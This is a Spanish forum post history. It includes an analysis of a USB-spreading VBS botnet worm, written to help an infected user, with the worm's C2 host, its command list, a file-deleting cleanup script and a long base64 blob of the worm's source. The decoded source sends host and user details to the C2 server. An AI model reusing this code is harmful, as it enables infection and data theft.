Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Mad Antrax

#421
No me he explicado bien.

Tu sistema es bueno, pero también se puede "crackear" a parte que su implantación tiene un coste de gestión elevadísimo si lo extrapolamos a gran escala (Necesitas tener la capacidad de generar una copia única cifrada para cada cliente, así como su HWID y su contraseña. Cada actualización que realices supone modificar el 100% de las licencias distribuidas a clientes, etc...). Por no hablar que limitas el uso de la aplicación a clientes con Internet permanente.

En cuanto un cliente legítimo realice la validación, el server envía la contraseña y se des-cifra el ejecutable, no? En ese momento el cliente puede dumpear el ejecutable des-cifrado y almacenar una copia del software sin "protección", pudiendo distribuirla por la red libremente.
#422
Cita de: rapbyone en 17 Octubre 2013, 13:35 PM
Amigo una ultima petición y no te fastidio mas  :-[ como tengo que hacerlo, para que aparezca el actualizador automáticamente, cuando haya una nueva versión??

Es decir que el programa se ejecute en segundo plano, verifique si hay actualización, si hay se lanza el mensaje de que hay nuevas actualizaciones y si no hay, que el actualizador se cierre y continué todo normal.

Si es mucho trabajo, no te preocupes, con lo que hiciste estoy muy contento  ;-)
Hay que hacer algunas modificaciones, se me ocurre lo siguiente:

Subir a tu FTP un archivo llamado version.txt dentro del fichero poner por ejemplo 1.1
El ejecutable principal de tu programa tendrá almacenada su versión actual, por ejemplo 1.0. El programa descarga el fichero version.txt y compara el 1.1 con 1.0, al ser distintos lanza un mensaje para que se active el lanzador. Te lo voy a escribir en pseudo-codigo:

Código (vb) [Seleccionar]

Sub Main()
MyVersion = "1.0"
FTP_Version = DownloadFile("version.txt")
If MyVersion <> FTP_Version Then
  If MsgBox "Hay una nueva version, deseas actualizar?" = vbYes Then
   Shell "smartupdater.exe /auto"
   End
  End If
End Sub


Sería eso a groso modo, evidentemente tienes que codearlo bien, con su sintaxis y todo. De todas fromas (sin acritud) desconozco ese "proyecto" importante que estás haciendo, pero si no eres capaz ni de programar una función similar... significa que no debe ser un "proyecto importante" como dices xD

He leído varios posts tuyos y tienes dudas de nivel-1. No quieras empezar una casa por el tejado :D
#423
Bueno, visto que nadie se ha animado, me dispongo a realizar yo mismo el análisis de éste "virus".

Es algo parecido a una botnet, el virus infecta el equipo y espera recibir ordenes y acciones que atacante emite a través de una web. El virus "escucha" las acciones que debe ejecutar en el PC infectado consultando la siguiente url:

update-flash.servehttp.com:666

Se instala en la startupfolder, por ejemplo: C:\Users\%USER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\virus.vbs

El virus manda el comando "is-ready" para decirle al atacante que ya está instalado y a la espera de ejecutar ordenes. El atacante puede emitir los siguientes comandos:

case "excecute"
case "update"
case "uninstall"
case "send"
case "site-send"
case "recv"
case  "enum-driver"
case  "enum-faf"
case  "enum-process"
case  "cmd-shell"
case  "delete"
case  "exit-process"
case  "sleep"

El nombre de cada comando es bastante significativo, y me llama la atención el comando "unistall". Si el programador lo ha hecho bien, ejecuta manualmente la función "unistall" y deberás quedar desinfectado de éste virus de forma automática, una forma de hacerlo es ejecutando el siguiente código VBS:

Código (vb) [Seleccionar]
host = "update-flash.servehttp.com"
port = 666
installdir = "%temp%"
lnkfile = true
lnkfolder = true

dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")


'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=

installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce

'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next
dim filename
dim foldername

shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
filesystemobj.deletefile startup & installname ,true
filesystemobj.deletefile wscript.scriptfullname ,true

for  each drive in filesystemobj.drives
if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
   for  each file in filesystemobj.getfolder ( drive.path & "\").files
        on error resume next
        if  instr (file.name,".") then
            if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 0
                if  ucase (file.name) <> ucase (installname) then
                    filename = split(file.name,".")
                    filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                else
                    filesystemobj.deletefile (drive.path & "\" & file.name)
                end If
            else
                filesystemobj.deletefile (file.path)
            end if
        end if
    next
    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
        folder.attributes = 0
    next
end if
end if
end if
next
msgbox "desinfectado"
wscript.quit


Dime si te ha funcionado. Saludos!! :D
#424
Hay muchos controles de usuario (componentes para VB6) en la red, desconozco si ese en concreto existe o está disponible. Lo que sí puedo adelantarte es que VB6 permite diseñar tus propios controles de usuario, dependiendo de tu nivel, experiencia y dedicación puedes llegar a programar algo similar (o incluso mejor).

De todas formas, juzgando por la foto, creo que no han usado ningún control personalizado, creo que solo es un bonito diseño en photoshop, AlphaBend y sustitución de imágenes con el evento OnMouseMove
#425
Cita de: Shout en 16 Octubre 2013, 13:59 PM
Pues yo tengo una solución verdaderamente segura, con la que es 99.9% imposible crackear tu aplicación.

Primero: encriptas el .exe compilado de tu programa con algún cifrado con contraseña (tipo AES, así, el archivo varía según la contraseña, por lo tanto, es imposible recuperar el archivo original sin esa contraseña)

Luego, creas un "loader" que se encargará de enviar el Hardware ID (HWID) al servidor.
En el servidor, compruebas que el HWID esté en la base de datos. Si lo está, envías la contraseña al cliente para que desencripte el programa original y se pueda ejecutar. Si no es un HWID que esté en tu base de datos de HWIDs válidos, envías una contraseña aleatoria y el archivo no podrá ser descifrado.

Esto es imposible de crackear (eso sí, si la contraseña es 12345, no esperes que dure mucho). Si pones una contraseña larga y jodida, nadie podrá jamás ejecutar ese código, ya que, para bruteforcear eso, necesitas muchísimos años de crackeo.

Ese sistema es bastante seguro, un servidor de licencias :)

Pero se puede "alterar" de varias formas dependiendo el modo en que implementes la protección. Por ejemplo un cliente que ya haga la validación HWID y tenga la aplicación descifrada, podrá volcar-lo en un nuevo fichero y distribuir la copia por la red (por ejemplo).

Per es cierto que un license-server es bastante seguro :)
#426
Cita de: rapbyone en 16 Octubre 2013, 04:39 AM
Amigo habra alguna manera de agregar una barra de progreso a medida que se descargan los archivos? Si es mucho trabjo no te preocupes.

Funciona perfecto amigo :D

una pregunta hay algún limite de tamaño para actualizar los archivos?? pretendo que se actualicen unos 400mb


saludos

Por la forma en que he programado el downloader no se puede agregar una barra de progreso. Lo que he añadido es un label que indica que fichero está descargando y cuando ha finalizado de descargar todos los ficheros. Se podría añadir una animación que indique al usuario que está descargando y que no desespere, así quedaría más bonito.

No hay ningún límite de descarga, si tienes que actualizar 400MB lo puedes hacer, lo mejor es que lo pruebes en tu PC primero. Smart Updater sirve tambien como FileIntegrityCheck. Si un fichero es borrado o modificado (aunque sea un bit) será actualizado por la comprobación CRC32, pruebalo y me cuentas :)
#427
Cita de: TheChivo en 16 Octubre 2013, 07:19 AM
Hola, pues mi hermano trajo una USB y el no tiene mucha conciencia de las medidas de seguridad para abrir un dispositivo que ha estado en una maquina publica, la cosa es que se me infecto la computadora y pude llegar al culpable, es un script de visual basic llamado "fyzbnaksvu..vbs" (si, lleva 2 puntos)

Les pongo aqui el "codigo fuente" que encontre al abrie el vbs con bloc de notas:
(la pondre en pastebin, espero que en el foro ya implementen la opcion de poner spoilers o cajas de texto que me cortó cuando quise publicarlo en un bloque CODE)

http://pastebin.com/NH8nYxub

Si alguien puede decirme que hace y como deshacerme de el, le estaria muy agradecido, digo, acabo de formatear con W8 hace 5 dias y ya pasa esto? XD

Bueno, de antemano, muchas gracias. Saludos!

Hola!! Gracias por publicar semejante código, está muy bien programado y es interesante :P, el "virus" está enmascarado con 2 cifrados, el primero es una simple codificación ascii, se puede resolver añadiendo el siguiente código al final (quitando el EXECUTEGLOBAL):

Código (vb) [Seleccionar]

Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("dump.txt", True)
a.WriteLine(AAA)
a.Close


El código devuelve un fichero llamado dump.txt con el primer "cifrado" resuelto:

Código (vb) [Seleccionar]
ABC = deCrypt("JzxbIHJlY29kZXIgOiBob3VkaW5pIChjKSBza3lwZSA6IGhvdWRpbmktZnggXT4NCg0KJz0tPS09LT0tPSBjb25maWcgPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09LT0NCg0KaG9zdCA9ICJ1cGRhdGUtZmxhc2guc2VydmVodHRwLmNvbSINCnBvcnQgPSA2NjYNCmluc3RhbGxkaXIgPSAiJXRlbXAlIg0KbG5rZmlsZSA9IHRydWUNCmxua2ZvbGRlciA9IHRydWUNCg0KJz0tPS09LT0tPSBwdWJsaWMgdmFyID0tPS09LT0tPS09LT0tPS09LT0tPS09LT0NCg0KZGltIHNoZWxsb2JqIA0Kc2V0IHNoZWxsb2JqID0gd3NjcmlwdC5jcmVhdGVvYmplY3QoIndzY3JpcHQuc2hlbGwiKQ0KZGltIGZpbGVzeXN0ZW1vYmoNCnNldCBmaWxlc3lzdGVtb2JqID0gY3JlYXRlb2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQpkaW0gaHR0cG9iag0Kc2V0IGh0dHBvYmogPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCg0KDQonPS09LT0tPS09IHByaXZhdCB2YXIgPS09LT0tPS09LT0tPS09LT0tPS09LT0NCg0KaW5zdGFsbG5hbWUgPSB3c2NyaXB0LnNjcmlwdG5hbWUNCnN0YXJ0dXAgPSBzaGVsbG9iai5zcGVjaWFsZm9sZGVycyAoInN0YXJ0dXAiKSAmICJcIg0KaW5zdGFsbGRpciA9IHNoZWxsb2JqLmV4cGFuZGVudmlyb25tZW50c3RyaW5ncyhpbnN0YWxsZGlyKSAmICJcIg0KaWYgbm90IGZpbGVzeXN0ZW1vYmouZm9sZGVyZXhpc3RzKGluc3RhbGxkaXIpIHRoZW4gIGluc3RhbGxkaXIgPSBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoIiV0ZW1wJSIpICYgIlwiDQpzcGxpdGVyID0gIjwiICYgInwiICYgIj4iDQpzbGVlcCA9IDUwMDAgDQpkaW0gcmVzcG9uc2UNCmRpbSBjbWQNCmRpbSBwYXJhbQ0KaW5mbyA9ICIiDQp1c2JzcHJlYWRpbmcgPSAiIg0Kc3RhcnRkYXRlID0gIiINCmRpbSBvbmVvbmNlDQoNCic9LT0tPS09LT0gY29kZSBzdGFydCA9LT0tPS09LT0tPS09LT0tPS09LT0tPQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0KDQppbnN0YW5jZQ0Kd2hpbGUgdHJ1ZQ0KDQppbnN0YWxsDQoNCnJlc3BvbnNlID0gIiINCnJlc3BvbnNlID0gcG9zdCAoImlzLXJlYWR5IiwiIikNCmNtZCA9IHNwbGl0IChyZXNwb25zZSxzcGxpdGVyKQ0Kc2VsZWN0IGNhc2UgY21kICgwKQ0KY2FzZSAiZXhjZWN1dGUiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIGV4ZWN1dGUgcGFyYW0NCmNhc2UgInVwZGF0ZSINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgb25lb25jZS5jbG9zZQ0KICAgICAgc2V0IG9uZW9uY2UgPSAgZmlsZXN5c3RlbW9iai5vcGVudGV4dGZpbGUgKGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAsMiwgZmFsc2UpDQogICAgICBvbmVvbmNlLndyaXRlIHBhcmFtDQogICAgICBvbmVvbmNlLmNsb3NlDQogICAgICBzaGVsbG9iai5ydW4gIndzY3JpcHQuZXhlIC8vQiAiICYgY2hyKDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocigzNCkNCiAgICAgIHdzY3JpcHQucXVpdCANCmNhc2UgInVuaW5zdGFsbCINCiAgICAgIHVuaW5zdGFsbA0KY2FzZSAic2VuZCINCiAgICAgIGRvd25sb2FkIGNtZCAoMSksY21kICgyKQ0KY2FzZSAic2l0ZS1zZW5kIg0KICAgICAgc2l0ZWRvd25sb2FkZXIgY21kICgxKSxjbWQgKDIpDQpjYXNlICJyZWN2Ig0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICB1cGxvYWQgKHBhcmFtKQ0KY2FzZSAgImVudW0tZHJpdmVyIg0KICAgICAgcG9zdCAiaXMtZW51bS1kcml2ZXIiLGVudW1kcml2ZXIgIA0KY2FzZSAgImVudW0tZmFmIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBwb3N0ICJpcy1lbnVtLWZhZiIsZW51bWZhZiAocGFyYW0pDQpjYXNlICAiZW51bS1wcm9jZXNzIg0KICAgICAgcG9zdCAiaXMtZW51bS1wcm9jZXNzIixlbnVtcHJvY2VzcyAgIA0KY2FzZSAgImNtZC1zaGVsbCINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgcG9zdCAiaXMtY21kLXNoZWxsIixjbWRzaGVsbCAocGFyYW0pICANCmNhc2UgICJkZWxldGUiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIGRlbGV0ZWZhZiAocGFyYW0pIA0KY2FzZSAgImV4aXQtcHJvY2VzcyINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgZXhpdHByb2Nlc3MgKHBhcmFtKSANCmNhc2UgICJzbGVlcCINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgc2xlZXAgPSBldmFsIChwYXJhbSkgICAgICAgIA0KZW5kIHNlbGVjdA0KDQp3c2NyaXB0LnNsZWVwIHNsZWVwDQoNCndlbmQNCg0KDQpzdWIgaW5zdGFsbA0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCmRpbSBsbmtvYmoNCmRpbSBmaWxlbmFtZQ0KZGltIGZvbGRlcm5hbWUNCmRpbSBmaWxlaWNvbg0KZGltIGZvbGRlcmljb24NCg0KdXBzdGFydA0KZm9yIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCg0KaWYgIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCmlmICBkcml2ZS5mcmVlc3BhY2UgID4gMCB0aGVuDQppZiAgZHJpdmUuZHJpdmV0eXBlICA9IDEgdGhlbg0KICAgIGZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZSAsIGRyaXZlLnBhdGggJiAiXCIgJiBpbnN0YWxsbmFtZSx0cnVlDQogICAgaWYgIGZpbGVzeXN0ZW1vYmouZmlsZWV4aXN0cyAoZHJpdmUucGF0aCAmICJcIiAmIGluc3RhbGxuYW1lKSAgdGhlbg0KICAgICAgICBmaWxlc3lzdGVtb2JqLmdldGZpbGUoZHJpdmUucGF0aCAmICJcIiAgJiBpbnN0YWxsbmFtZSkuYXR0cmlidXRlcyA9IDIrNA0KICAgIGVuZCBpZg0KICAgIGZvciBlYWNoIGZpbGUgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJiAiXCIgKS5GaWxlcw0KICAgICAgICBpZiBub3QgbG5rZmlsZSB0aGVuIGV4aXQgZm9yDQogICAgICAgIGlmICBpbnN0ciAoZmlsZS5uYW1lLCIuIikgdGhlbg0KICAgICAgICAgICAgaWYgIGxjYXNlIChzcGxpdChmaWxlLm5hbWUsICIuIikgKHVib3VuZChzcGxpdChmaWxlLm5hbWUsICIuIikpKSkgPD4gImxuayIgdGhlbg0KICAgICAgICAgICAgICAgIGZpbGUuYXR0cmlidXRlcyA9IDIrNA0KICAgICAgICAgICAgICAgIGlmICB1Y2FzZSAoZmlsZS5uYW1lKSA8PiB1Y2FzZSAoaW5zdGFsbG5hbWUpIHRoZW4NCiAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBzcGxpdChmaWxlLm5hbWUsIi4iKQ0KICAgICAgICAgICAgICAgICAgICBzZXQgbG5rb2JqID0gc2hlbGxvYmouY3JlYXRlc2hvcnRjdXQgKGRyaXZlLnBhdGggJiAiXCIgICYgZmlsZW5hbWUgKDApICYgIi5sbmsiKSANCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLndpbmRvd3N0eWxlID0gNw0KICAgICAgICAgICAgICAgICAgICBsbmtvYmoudGFyZ2V0cGF0aCA9ICJjbWQuZXhlIg0KICAgICAgICAgICAgICAgICAgICBsbmtvYmoud29ya2luZ2RpcmVjdG9yeSA9ICIiDQogICAgICAgICAgICAgICAgICAgIGxua29iai5hcmd1bWVudHMgPSAiL2Mgc3RhcnQgIiAmIHJlcGxhY2UoaW5zdGFsbG5hbWUsIiAiLCBjaHJ3KDM0KSAmICIgIiAmIGNocncoMzQpKSAmICImc3RhcnQgIiAmIHJlcGxhY2UoZmlsZS5uYW1lLCIgIiwgY2hydygzNCkgJiAiICIgJiBjaHJ3KDM0KSkgJiImZXhpdCINCiAgICAgICAgICAgICAgICAgICAgZmlsZWljb24gPSBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcIiAmIHNoZWxsb2JqLnJlZ3JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcY2xhc3Nlc1wuIiAmIHNwbGl0KGZpbGUubmFtZSwgIi4iKSh1Ym91bmQoc3BsaXQoZmlsZS5uYW1lLCAiLiIpKSkmICJcIikgJiAiXGRlZmF1bHRpY29uXCIpIA0KICAgICAgICAgICAgICAgICAgICBpZiAgaW5zdHIgKGZpbGVpY29uLCIsIikgPSAwIHRoZW4NCiAgICAgICAgICAgICAgICAgICAgICAgIGxua29iai5pY29ubG9jYXRpb24gPSBmaWxlLnBhdGgNCiAgICAgICAgICAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgICAgICAgICAgIGxua29iai5pY29ubG9jYXRpb24gPSBmaWxlaWNvbg0KICAgICAgICAgICAgICAgICAgICBlbmQgaWYNCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLnNhdmUoKQ0KICAgICAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICAgICAgZW5kIGlmDQogICAgICAgIGVuZCBpZg0KICAgIG5leHQNCiAgICBmb3IgZWFjaCBmb2xkZXIgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJiAiXCIgKS5zdWJmb2xkZXJzDQogICAgICAgIGlmIG5vdCBsbmtmb2xkZXIgdGhlbiBleGl0IGZvcg0KICAgICAgICBmb2xkZXIuYXR0cmlidXRlcyA9IDIrNA0KICAgICAgICBmb2xkZXJuYW1lID0gZm9sZGVyLm5hbWUNCiAgICAgICAgc2V0IGxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZXNob3J0Y3V0IChkcml2ZS5wYXRoICYgIlwiICAmIGZvbGRlcm5hbWUgJiAiLmxuayIpIA0KICAgICAgICBsbmtvYmoud2luZG93c3R5bGUgPSA3DQogICAgICAgIGxua29iai50YXJnZXRwYXRoID0gImNtZC5leGUiDQogICAgICAgIGxua29iai53b3JraW5nZGlyZWN0b3J5ID0gIiINCiAgICAgICAgbG5rb2JqLmFyZ3VtZW50cyA9ICIvYyBzdGFydCAiICYgcmVwbGFjZShpbnN0YWxsbmFtZSwiICIsIGNocncoMzQpICYgIiAiICYgY2hydygzNCkpICYgIiZzdGFydCBleHBsb3JlciAiICYgcmVwbGFjZShmb2xkZXIubmFtZSwiICIsIGNocncoMzQpICYgIiAiICYgY2hydygzNCkpICYiJmV4aXQiDQogICAgICAgIGZvbGRlcmljb24gPSBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcZm9sZGVyXGRlZmF1bHRpY29uXCIpIA0KICAgICAgICBpZiAgaW5zdHIgKGZvbGRlcmljb24sIiwiKSA9IDAgdGhlbg0KICAgICAgICAgICAgbG5rb2JqLmljb25sb2NhdGlvbiA9IGZvbGRlci5wYXRoDQogICAgICAgIGVsc2UgDQogICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZm9sZGVyaWNvbg0KICAgICAgICBlbmQgaWYNCiAgICAgICAgbG5rb2JqLnNhdmUoKQ0KICAgIG5leHQNCmVuZCBJZg0KZW5kIElmDQplbmQgaWYNCm5leHQNCmVyci5jbGVhcg0KZW5kIHN1Yg0KDQpzdWIgdW5pbnN0YWxsDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZGltIGZpbGVuYW1lDQpkaW0gZm9sZGVybmFtZQ0KDQpzaGVsbG9iai5yZWdkZWxldGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCnNoZWxsb2JqLnJlZ2RlbGV0ZSAiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSBzdGFydHVwICYgaW5zdGFsbG5hbWUgLHRydWUNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lICx0cnVlDQoNCmZvciAgZWFjaCBkcml2ZSBpbiBmaWxlc3lzdGVtb2JqLmRyaXZlcw0KaWYgIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCmlmICBkcml2ZS5mcmVlc3BhY2UgID4gMCB0aGVuDQppZiAgZHJpdmUuZHJpdmV0eXBlICA9IDEgdGhlbg0KICAgIGZvciAgZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyICggZHJpdmUucGF0aCAmICJcIikuZmlsZXMNCiAgICAgICAgIG9uIGVycm9yIHJlc3VtZSBuZXh0DQogICAgICAgICBpZiAgaW5zdHIgKGZpbGUubmFtZSwiLiIpIHRoZW4NCiAgICAgICAgICAgICBpZiAgbGNhc2UgKHNwbGl0KGZpbGUubmFtZSwgIi4iKSh1Ym91bmQoc3BsaXQoZmlsZS5uYW1lLCAiLiIpKSkpIDw+ICJsbmsiIHRoZW4NCiAgICAgICAgICAgICAgICAgZmlsZS5hdHRyaWJ1dGVzID0gMA0KICAgICAgICAgICAgICAgICBpZiAgdWNhc2UgKGZpbGUubmFtZSkgPD4gdWNhc2UgKGluc3RhbGxuYW1lKSB0aGVuDQogICAgICAgICAgICAgICAgICAgICBmaWxlbmFtZSA9IHNwbGl0KGZpbGUubmFtZSwiLiIpDQogICAgICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGRyaXZlLnBhdGggJiAiXCIgJiBmaWxlbmFtZSgwKSAmICIubG5rIiApDQogICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgIGZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSAoZHJpdmUucGF0aCAmICJcIiAmIGZpbGUubmFtZSkNCiAgICAgICAgICAgICAgICAgZW5kIElmDQogICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGZpbGUucGF0aCkgDQogICAgICAgICAgICAgZW5kIGlmDQogICAgICAgICBlbmQgaWYNCiAgICAgbmV4dA0KICAgICBmb3IgZWFjaCBmb2xkZXIgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJiAiXCIgKS5zdWJmb2xkZXJzDQogICAgICAgICBmb2xkZXIuYXR0cmlidXRlcyA9IDANCiAgICAgbmV4dA0KZW5kIGlmDQplbmQgaWYNCmVuZCBpZg0KbmV4dA0Kd3NjcmlwdC5xdWl0DQplbmQgc3ViDQoNCmZ1bmN0aW9uIHBvc3QgKGNtZCAscGFyYW0pDQoNCnBvc3QgPSBwYXJhbQ0KaHR0cG9iai5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydCAmIi8iICYgY21kLCBmYWxzZQ0KaHR0cG9iai5zZXRyZXF1ZXN0aGVhZGVyICJ1c2VyLWFnZW50OiIsaW5mb3JtYXRpb24NCmh0dHBvYmouc2VuZCBwYXJhbQ0KcG9zdCA9IGh0dHBvYmoucmVzcG9uc2V0ZXh0DQplbmQgZnVuY3Rpb24NCg0KZnVuY3Rpb24gaW5mb3JtYXRpb24NCm9uIGVycm9yIHJlc3VtZSBuZXh0DQppZiAgaW5mID0gIiIgdGhlbg0KICAgIGluZiA9IGh3aWQgJiBzcGxpdGVyIA0KICAgIGluZiA9IGluZiAgJiBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoIiVjb21wdXRlcm5hbWUlIikgJiBzcGxpdGVyIA0KICAgIGluZiA9IGluZiAgJiBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoIiV1c2VybmFtZSUiKSAmIHNwbGl0ZXINCg0KICAgIHNldCByb290ID0gZ2V0b2JqZWN0KCJ3aW5tZ210czp7aW1wZXJzb25hdGlvbmxldmVsPWltcGVyc29uYXRlfSFcXC5ccm9vdFxjaW12MiIpDQogICAgc2V0IG9zID0gcm9vdC5leGVjcXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIpDQogICAgZm9yIGVhY2ggb3NpbmZvIGluIG9zDQogICAgICAgaW5mID0gaW5mICYgb3NpbmZvLmNhcHRpb24gJiBzcGxpdGVyICANCiAgICAgICBleGl0IGZvcg0KICAgIG5leHQNCiAgICBpbmYgPSBpbmYgJiAicGx1cyIgJiBzcGxpdGVyDQogICAgaW5mID0gaW5mICYgc2VjdXJpdHkgJiBzcGxpdGVyDQogICAgaW5mID0gaW5mICYgdXNic3ByZWFkaW5nDQogICAgaW5mb3JtYXRpb24gPSBpbmYgIA0KZWxzZQ0KICAgIGluZm9ybWF0aW9uID0gaW5mDQplbmQgaWYNCmVuZCBmdW5jdGlvbg0KDQoNCnN1YiB1cHN0YXJ0ICgpDQpvbiBlcnJvciByZXN1bWUgTmV4dA0KDQpzaGVsbG9iai5yZWd3cml0ZSAiSEtFWV9DVVJSRU5UX1VTRVJcc29mdHdhcmVcbWljcm9zb2Z0XHdpbmRvd3NcY3VycmVudHZlcnNpb25ccnVuXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSwgICJ3c2NyaXB0LmV4ZSAvL0IgIiAmIGNocncoMzQpICYgaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICYgY2hydygzNCkgLCAiUkVHX1NaIg0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93c1xjdXJyZW50dmVyc2lvblxydW5cIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApLCAgIndzY3JpcHQuZXhlIC8vQiAiICAmIGNocncoMzQpICYgaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICYgY2hydygzNCkgLCAiUkVHX1NaIg0KZmlsZXN5c3RlbW9iai5jb3B5ZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSx0cnVlDQpmaWxlc3lzdGVtb2JqLmNvcHlmaWxlIHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUsc3RhcnR1cCAmIGluc3RhbGxuYW1lICx0cnVlDQoNCmVuZCBzdWINCg0KDQpmdW5jdGlvbiBod2lkDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQpzZXQgcm9vdCA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0Kc2V0IGRpc2tzID0gcm9vdC5leGVjcXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX2xvZ2ljYWxkaXNrIikNCmZvciBlYWNoIGRpc2sgaW4gZGlza3MNCiAgICBpZiAgZGlzay52b2x1bWVzZXJpYWxudW1iZXIgPD4gIiIgdGhlbg0KICAgICAgICBod2lkID0gZGlzay52b2x1bWVzZXJpYWxudW1iZXINCiAgICAgICAgZXhpdCBmb3INCiAgICBlbmQgaWYNCm5leHQNCmVuZCBmdW5jdGlvbg0KDQoNCmZ1bmN0aW9uIHNlY3VyaXR5IA0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0Kc2VjdXJpdHkgPSAiIg0KDQpzZXQgb2Jqd21pc2VydmljZSA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0Kc2V0IGNvb